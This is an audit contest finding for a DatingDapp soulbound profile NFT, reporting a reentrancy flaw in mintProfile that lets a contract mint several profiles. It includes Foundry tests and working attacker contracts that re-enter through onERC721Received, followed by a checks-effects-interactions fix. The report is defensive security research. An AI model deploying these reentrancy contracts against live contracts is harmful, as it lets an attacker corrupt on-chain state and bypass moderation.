DatingDapp

AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy in mintProfile Allows Multiple Soulbound Profiles per Address, Breaks One-Profile-Per-Address Invariant

[M-1] Reentrancy in mintProfile Allows Multiple Soulbound Profiles per Address, Breaks One-Profile-Per-Address Invariant

Description:

The mintProfile function calls _safeMint before updating the critical state variable profileToToken[msg.sender].
When msg.sender is a contract, _safeMint invokes onERC721Received, allowing the receiver to re-enter mintProfile before the profile mapping is updated.

Because the uniqueness check relies solely on profileToToken[msg.sender] == 0, a malicious contract can bypass this restriction and mint multiple soulbound profile NFTs within a single transaction.

This violates the intended invariant that each address may own only one profile NFT.

Risk:

Impact: Medium

A malicious user can:

  • Mint multiple soulbound profile NFTs for a single address

  • Permanently corrupt internal state, where extra profiles are not tracked by profileToToken

  • Bypass burn and admin block mechanisms, which rely on the mapping

  • Create unremovable “zombie” profiles that remain active after moderation

  • Break off-chain assumptions used by indexers and frontends

Likelihood: High

  • Exploitation requires a custom contract and offers no direct financial gain, but is trivial to execute and useful for bypassing profile restrictions.

Proof of Concept:

  • Copy the code below to testSoulboundProfileNFT.t.sol.

  • Run command forge test --mt testMintProfileReentrancyPOC -vvvv.

function testMintProfileReentrancyPOC() public {
ReentrantAttacker attacker =
new ReentrantAttacker(address(soulboundNFT));
attacker.attack();
// In system the attacker tokenid is still 1 after reentrancy attack because profileToToken is set after _safeMint
uint256 token = soulboundNFT.profileToToken(address(attacker));
assertEq(token, 1);
//Attacker owning two tokens when he should only be able to mint one
address ownerOfToken2 = soulboundNFT.ownerOf(2);
assertEq(address(attacker), ownerOfToken2);
address ownerOfToken1 = soulboundNFT.ownerOf(1);
assertEq(address(attacker), ownerOfToken1);
assertEq(soulboundNFT.balanceOf(address(attacker)), 2);
}
  • Put this contract after contract SoulboundProfileNFT

contract ReentrantAttacker is IERC721Receiver {
SoulboundProfileNFT public target;
bool public attacked;
constructor(address _target) {
target = SoulboundProfileNFT(_target);
}
function attack() external {
target.mintProfile("Eve", 28, "ipfs://evil");
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external override returns (bytes4) {
if (!attacked) {
attacked = true;
target.mintProfile("Eve2", 28, "ipfs://evil2");
}
return IERC721Receiver.onERC721Received.selector;
}
}

Recommended Mitigation:

  • Put this following mitigation in contract SoulboundProfileNFT:

    • Follows CEI pattern

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
+ // CHECK
require(profileToToken[msg.sender] == 0, "Profile already exists");
+ // EFFECT
uint256 tokenId = ++_nextTokenId;
+ profileToToken[msg.sender] = tokenId;
+ // Store metadata on-chain
+ _profiles[tokenId] = Profile(name, age, profileImage);
+ // INTERACTION
_safeMint(msg.sender, tokenId);
- // Store metadata on-chain
- _profiles[tokenId] = Profile(name, age, profileImage);
- profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 15 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-04] Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!